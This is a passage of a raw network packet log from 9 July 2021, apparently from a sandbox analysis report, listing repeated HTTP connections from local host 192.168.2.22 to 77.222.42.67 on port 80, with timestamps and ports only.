Jul 9, 2021 03:08:16.471442938 CEST	80	49255	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:16.471558094 CEST	49255	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.685616016 CEST	49255	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.687664986 CEST	49256	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.739314079 CEST	80	49255	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:16.739438057 CEST	49255	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.739670038 CEST	80	49256	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:16.739744902 CEST	49256	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.741214991 CEST	49256	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:16.793443918 CEST	80	49256	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:16.807413101 CEST	80	49256	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:16.807537079 CEST	49256	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.156002045 CEST	49256	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.157036066 CEST	49257	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.208699942 CEST	80	49256	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:17.208890915 CEST	49256	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.208949089 CEST	80	49257	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:17.209047079 CEST	49257	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.220598936 CEST	49257	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.272886038 CEST	80	49257	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:17.285989046 CEST	80	49257	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:17.286111116 CEST	49257	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.706864119 CEST	49257	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.708261013 CEST	49258	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.759648085 CEST	80	49257	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:17.759752989 CEST	49257	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.761328936 CEST	80	49258	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:17.761435032 CEST	49258	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.762155056 CEST	49258	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:17.815428019 CEST	80	49258	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:17.830816984 CEST	80	49258	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:17.830879927 CEST	49258	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:18.061590910 CEST	49258	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:18.062906027 CEST	49259	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:18.114803076 CEST	80	49258	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:18.114887953 CEST	49258	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:18.116038084 CEST	80	49259	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:18.116152048 CEST	49259	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:18.116822004 CEST	49259	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:18.170341969 CEST	80	49259	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:18.184252977 CEST	80	49259	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:18.184338093 CEST	49259	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.056533098 CEST	49259	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.057526112 CEST	49260	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.111979008 CEST	80	49260	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.112004042 CEST	80	49259	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.112076044 CEST	49260	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.112119913 CEST	49259	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.112562895 CEST	49260	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.167306900 CEST	80	49260	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.180613995 CEST	80	49260	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.180680037 CEST	49260	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.398466110 CEST	49260	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.403136015 CEST	49261	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.451365948 CEST	80	49260	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.451504946 CEST	49260	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.455429077 CEST	80	49261	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.455517054 CEST	49261	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.456599951 CEST	49261	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.508533001 CEST	80	49261	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.525388002 CEST	80	49261	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.525486946 CEST	49261	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.746223927 CEST	49261	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.747872114 CEST	49262	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.801035881 CEST	80	49261	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.801129103 CEST	49261	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.803904057 CEST	80	49262	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.804007053 CEST	49262	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.804769993 CEST	49262	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:19.858577967 CEST	80	49262	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.871977091 CEST	80	49262	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:19.872179985 CEST	49262	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.086684942 CEST	49262	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.087995052 CEST	49263	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.139926910 CEST	80	49263	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.140078068 CEST	80	49262	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.140081882 CEST	49263	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.140270948 CEST	49262	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.140988111 CEST	49263	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.193721056 CEST	80	49263	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.207606077 CEST	80	49263	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.208071947 CEST	49263	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.434511900 CEST	49263	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.436122894 CEST	49264	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.486709118 CEST	80	49263	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.488435030 CEST	49263	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.489434004 CEST	80	49264	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.489562035 CEST	49264	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.490206003 CEST	49264	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.543726921 CEST	80	49264	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.557281017 CEST	80	49264	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.557447910 CEST	49264	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.778644085 CEST	49264	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.780587912 CEST	49265	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.832010984 CEST	80	49264	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.832180977 CEST	49264	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.833853960 CEST	80	49265	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.833952904 CEST	49265	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.834779978 CEST	49265	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:20.889138937 CEST	80	49265	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.902245998 CEST	80	49265	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:20.902416945 CEST	49265	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.117301941 CEST	49265	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.118700981 CEST	49266	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.170705080 CEST	80	49265	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.170768976 CEST	80	49266	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.170804977 CEST	49265	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.170830965 CEST	49266	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.171448946 CEST	49266	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.223658085 CEST	80	49266	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.239439011 CEST	80	49266	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.239600897 CEST	49266	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.459331036 CEST	49266	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.460797071 CEST	49267	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.511914015 CEST	80	49266	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.511979103 CEST	49266	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.514988899 CEST	80	49267	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.515069962 CEST	49267	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.515640020 CEST	49267	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.569848061 CEST	80	49267	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.585246086 CEST	80	49267	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.585316896 CEST	49267	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.801855087 CEST	49267	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.802797079 CEST	49268	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.854880095 CEST	80	49268	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.855006933 CEST	49268	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.856276035 CEST	80	49267	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.856353045 CEST	49268	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.857002020 CEST	49267	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:21.908375978 CEST	80	49268	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.921952963 CEST	80	49268	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:21.922128916 CEST	49268	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.152708054 CEST	49268	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.153816938 CEST	49269	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.205163956 CEST	80	49268	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.205241919 CEST	49268	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.205898046 CEST	80	49269	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.206003904 CEST	49269	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.206753016 CEST	49269	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.258629084 CEST	80	49269	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.271627903 CEST	80	49269	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.271709919 CEST	49269	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.491156101 CEST	49269	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.492408037 CEST	49270	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.546058893 CEST	80	49269	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.546148062 CEST	49269	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.547303915 CEST	80	49270	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.547389030 CEST	49270	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.556830883 CEST	49270	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.610486984 CEST	80	49270	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.627018929 CEST	80	49270	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.627156019 CEST	49270	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.853166103 CEST	49270	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.855268002 CEST	49271	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.906563997 CEST	80	49270	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.906656027 CEST	49270	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.907321930 CEST	80	49271	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.907407045 CEST	49271	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.908633947 CEST	49271	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:22.960649014 CEST	80	49271	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.974059105 CEST	80	49271	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:22.974253893 CEST	49271	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.192430973 CEST	49271	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.193335056 CEST	49272	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.246361971 CEST	80	49271	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.246480942 CEST	49271	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.247669935 CEST	80	49272	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.247755051 CEST	49272	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.248574018 CEST	49272	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.302903891 CEST	80	49272	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.315418959 CEST	80	49272	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.315529108 CEST	49272	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.544737101 CEST	49272	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.546896935 CEST	49273	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.598316908 CEST	80	49272	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.598469019 CEST	49272	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.600439072 CEST	80	49273	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.600543022 CEST	49273	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.601582050 CEST	49273	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.656469107 CEST	80	49273	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.671098948 CEST	80	49273	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.671293974 CEST	49273	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.891765118 CEST	49273	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.892710924 CEST	49274	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.946582079 CEST	80	49274	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.946613073 CEST	80	49273	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:23.946753979 CEST	49273	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.946791887 CEST	49274	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:23.947941065 CEST	49274	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.002981901 CEST	80	49274	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.016089916 CEST	80	49274	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.016347885 CEST	49274	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.236340046 CEST	49274	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.239012003 CEST	49275	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.288712978 CEST	80	49274	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.290858984 CEST	49274	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.292195082 CEST	80	49275	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.292360067 CEST	49275	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.293467045 CEST	49275	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.346606970 CEST	80	49275	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.360649109 CEST	80	49275	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.360732079 CEST	49275	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.592914104 CEST	49275	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.594337940 CEST	49276	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.646904945 CEST	80	49275	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.647068024 CEST	49275	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.648900032 CEST	80	49276	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.649008036 CEST	49276	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.649777889 CEST	49276	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.704006910 CEST	80	49276	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.717736959 CEST	80	49276	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:24.717808962 CEST	49276	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.946662903 CEST	49276	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:24.949158907 CEST	49277	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.005402088 CEST	80	49276	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.005518913 CEST	49276	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.006695032 CEST	80	49277	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.006773949 CEST	49277	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.007976055 CEST	49277	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.063391924 CEST	80	49277	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.076436043 CEST	80	49277	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.076587915 CEST	49277	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.300115108 CEST	49277	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.301222086 CEST	49278	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.356635094 CEST	80	49278	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.356800079 CEST	49278	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.356873989 CEST	80	49277	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.356954098 CEST	49277	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.357687950 CEST	49278	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.410242081 CEST	80	49278	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.424040079 CEST	80	49278	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.424143076 CEST	49278	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.641247988 CEST	49278	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.642690897 CEST	49279	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.695131063 CEST	80	49278	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.695280075 CEST	49278	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.696289062 CEST	80	49279	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.696358919 CEST	49279	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.697042942 CEST	49279	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.751024961 CEST	80	49279	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.764358997 CEST	80	49279	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:25.764626980 CEST	49279	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.994153023 CEST	49279	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:25.995909929 CEST	49280	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.047746897 CEST	80	49279	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.047873020 CEST	49279	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.047981977 CEST	80	49280	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.048048019 CEST	49280	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.048697948 CEST	49280	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.100934982 CEST	80	49280	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.113642931 CEST	80	49280	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.113693953 CEST	49280	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.329958916 CEST	49280	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.331243038 CEST	49281	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.383841038 CEST	80	49280	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.383949995 CEST	49280	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.385139942 CEST	80	49281	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.385246992 CEST	49281	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.386363029 CEST	49281	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.440381050 CEST	80	49281	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.455526114 CEST	80	49281	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.455604076 CEST	49281	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.675810099 CEST	49281	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.676811934 CEST	49282	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.729403973 CEST	80	49281	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.729528904 CEST	49281	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.731812954 CEST	80	49282	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.731904030 CEST	49282	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.732578993 CEST	49282	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:26.786004066 CEST	80	49282	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.806164026 CEST	80	49282	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:26.806786060 CEST	49282	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.030905008 CEST	49282	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.032038927 CEST	49283	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.084403038 CEST	80	49282	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.084574938 CEST	49282	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.085419893 CEST	80	49283	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.085583925 CEST	49283	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.087157965 CEST	49283	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.140177011 CEST	80	49283	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.156181097 CEST	80	49283	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.156313896 CEST	49283	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.370771885 CEST	49283	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.371767998 CEST	49284	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.426881075 CEST	80	49283	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.426917076 CEST	80	49284	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.426966906 CEST	49283	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.427083969 CEST	49284	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.427822113 CEST	49284	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.483309984 CEST	80	49284	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.499486923 CEST	80	49284	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.499614954 CEST	49284	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.721575022 CEST	49284	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.722961903 CEST	49285	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.773612022 CEST	80	49284	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.773776054 CEST	49284	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.774960041 CEST	80	49285	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.775084019 CEST	49285	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.775717020 CEST	49285	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:27.827533960 CEST	80	49285	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.841001987 CEST	80	49285	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:27.841120958 CEST	49285	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.061774969 CEST	49285	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.062999964 CEST	49286	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.114562035 CEST	80	49285	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.114643097 CEST	49285	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.116679907 CEST	80	49286	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.116776943 CEST	49286	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.117501020 CEST	49286	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.172478914 CEST	80	49286	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.186084986 CEST	80	49286	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.186239004 CEST	49286	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.401256084 CEST	49286	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.402549028 CEST	49287	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.454447031 CEST	80	49287	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.454536915 CEST	49287	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.454940081 CEST	80	49286	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.454997063 CEST	49286	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.455601931 CEST	49287	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.509094954 CEST	80	49287	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.522749901 CEST	80	49287	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.522823095 CEST	49287	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.745737076 CEST	49287	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.746752024 CEST	49288	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.799177885 CEST	80	49287	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.799289942 CEST	49287	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.801707029 CEST	80	49288	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.801848888 CEST	49288	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.803240061 CEST	49288	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:28.856690884 CEST	80	49288	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.869713068 CEST	80	49288	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:28.869822025 CEST	49288	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.094424963 CEST	49288	80	192.168.2.22	77.222.42.67
